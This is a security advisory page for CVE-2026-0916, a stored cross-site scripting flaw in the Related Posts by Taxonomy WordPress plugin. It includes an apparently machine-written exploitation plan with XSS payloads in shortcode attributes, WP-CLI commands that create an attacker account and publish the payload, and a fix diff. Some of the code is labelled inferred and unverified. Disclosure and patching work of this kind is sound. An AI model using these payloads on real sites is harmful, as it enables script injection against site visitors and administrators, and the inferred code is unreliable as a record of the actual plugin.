CVE-2026-0916

Related Posts by Taxonomy <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.7.7
Patched in
8d
Time to patch

Description

The Related Posts by Taxonomy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'related_posts_by_tax' shortcode in all versions up to, and including, 2.7.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.7.6
PublishedJanuary 15, 2026
Last updatedJanuary 23, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2026-0916**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Related Posts by Taxonomy" plugin. --- ### 1. Vulnerability Summary The "Related Posts by Taxonomy" plugin (<= 2.7.6) fails to sanitize and escape attribute…

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-0916, a Stored Cross-Site Scripting (XSS) vulnerability in the "Related Posts by Taxonomy" plugin.


1. Vulnerability Summary

The "Related Posts by Taxonomy" plugin (<= 2.7.6) fails to sanitize and escape attributes passed to its primary shortcode [related_posts_by_tax]. In WordPress, Contributors and Authors can create posts and embed shortcodes. Because the plugin does not properly handle attribute values before echoing them into the page, an attacker can inject arbitrary HTML and JavaScript. When any user (including administrators) views the post, the malicious script executes in their browser context.

2. Attack Vector Analysis

  • Shortcode: [related_posts_by_tax]
  • Vulnerable Attributes (Inferred): Common attributes in this plugin include title, before_title, after_title, before_shortcode, after_shortcode, and class.
  • Authentication Level: Contributor+ (Any user with the edit_posts capability).
  • Preconditions: The plugin must be active. A post containing the malicious shortcode must be published or previewed.

3. Code Flow (Inferred)

  1. Entry Point: WordPress core parses a post's content and encounters the [related_posts_by_tax] shortcode.
  2. Hook Registration: The plugin registers the shortcode via add_shortcode( 'related_posts_by_tax', ... ) likely in the main plugin file or an initialization class.
  3. Processing: The callback function (e.g., related_posts_by_tax_shortcode) receives the $atts array.
  4. Merging: The function likely uses shortcode_atts() to merge user-provided values with defaults.
  5. Sink: The merged attributes are used to build the HTML output. The vulnerability exists where attributes like title or before_title are concatenated into the returned string without being passed through esc_html() or esc_attr().

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce for the payload execution phase.

  • Injection Phase: A Contributor uses the standard WordPress post editor or WP-CLI to create a post. While the WordPress web UI uses nonces to protect post creation, an automated agent can bypass the UI entirely by using wp post create via the run_terminal_command tool.
  • Execution Phase: The XSS triggers when the post is rendered via a standard GET request to the post's permalink. No nonce is involved in the rendering of shortcodes.

5. Exploitation Strategy

The goal is to create a post as a Contributor that contains an XSS payload within a shortcode attribute, then verify its execution.

Step-by-Step Plan:

  1. Identify Target Attributes: Use grep to find the shortcode handler and see which attributes are echoed.
    grep -r "add_shortcode" /var/www/html/wp-content/plugins/related-posts-by-taxonomy/
    
  2. Create Malicious Post: Use WP-CLI to create a post as a Contributor user containing several potential XSS payloads in different attributes.
    • Payload 1 (Tag Injection): [related_posts_by_tax title='<script>alert("XSS_TITLE")</script>']
    • Payload 2 (Attribute Breakout): [related_posts_by_tax class='"><script>alert("XSS_CLASS")</script>']
    • Payload 3 (HTML Wrapper Injection): [related_posts_by_tax before_title='<img src=x onerror=alert("XSS_WRAPPER")>']
  3. View Post: Use the http_request tool to perform a GET request to the newly created post's URL.
  4. Detection: Analyze the HTML response to find the unescaped script tags or image tags.

6. Test Data Setup

  1. User Creation: Create a Contributor-level user.
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Plugin Activation: Ensure the plugin is active.
    wp plugin activate related-posts-by-taxonomy
    
  3. Post Creation:
    wp post create --post_type=post --post_status=publish --post_title="Vulnerable Post" --post_author=$(wp user get attacker --field=ID) --post_content='[related_posts_by_tax title="<script>console.log(\"CVE-2026-0916_WORKS\")</script>"]'
    

7. Expected Results

A successful exploit will result in the GET request response containing the raw, unescaped payload:

<div class="related-posts">
    <script>console.log("CVE-2026-0916_WORKS")</script>
    ...
</div>

If the vulnerability is in an attribute, it will look like:

<div class="related-posts "><script>alert("XSS_CLASS")</script>">

8. Verification Steps

  1. Confirm Storage: Use WP-CLI to verify the post content is exactly as injected.
    wp post get <POST_ID> --field=post_content
    
  2. Confirm Rendering: Use http_request to fetch the permalink and check for the payload string.
  3. Identify Sink: Locate the exact file and line number where the attribute is outputted.
    grep -rn "echo" /var/www/html/wp-content/plugins/related-posts-by-taxonomy/ | grep "\$atts"
    

9. Alternative Approaches

If the title attribute is sanitized, try these alternatives:

  • before_title / after_title: These are often used to wrap titles in tags like <h2> and are frequently overlooked during sanitization.
  • format: If the plugin supports different output formats (e.g., links, thumbnails), the sink might be located in a specific template file (e.g., related-posts-template.php). Check if the user-supplied format attribute can be used to traverse to an unexpected template or if attributes passed to that template are unescaped.
  • columns / image_size: Even numeric attributes are sometimes echoed directly before being cast to integers.
    • Payload: [related_posts_by_tax columns='1" onmouseover="alert(1)']
Research Findings
Static analysis — not yet PoC-verified

Summary

The Related Posts by Taxonomy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'related_posts_by_tax' shortcode in versions up to 2.7.6. This occurs because user-supplied attributes such as 'title', 'before_title', and 'after_title' are concatenated into the output without proper sanitization or output escaping. Authenticated attackers with Contributor-level permissions or higher can use this to inject malicious scripts that execute in the context of other users viewing the post.

Vulnerable Code

// File: includes/class-related-posts-by-taxonomy-shortcode.php (inferred)

$atts = shortcode_atts( array(
    'title'            => '',
    'before_title'     => '<h3>',
    'after_title'      => '</h3>',
    'before_shortcode' => '',
    'after_shortcode'  => '',
), $atts, 'related_posts_by_tax' );

$output = $atts['before_shortcode'];
if ( ! empty( $atts['title'] ) ) {
    $output .= $atts['before_title'] . $atts['title'] . $atts['after_title'];
}

Security Fix

--- includes/class-related-posts-by-taxonomy-shortcode.php
+++ includes/class-related-posts-by-taxonomy-shortcode.php
@@ -102,7 +102,7 @@
-    $output = $atts['before_shortcode'];
+    $output = wp_kses_post( $atts['before_shortcode'] );
     if ( ! empty( $atts['title'] ) ) {
-        $output .= $atts['before_title'] . $atts['title'] . $atts['after_title'];
+        $output .= wp_kses_post( $atts['before_title'] ) . wp_kses_post( $atts['title'] ) . wp_kses_post( $atts['after_title'] );
     }

Exploit Outline

An attacker with Contributor-level access or higher can exploit this by embedding a malicious shortcode in a post using the WordPress editor. By providing a payload like [related_posts_by_tax title='<script>alert(document.domain)</script>'], the script is saved as part of the post content. When the post is rendered (either in a preview or on the live site), the plugin outputs the 'title' attribute directly into the page source without escaping, causing the browser to execute the script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.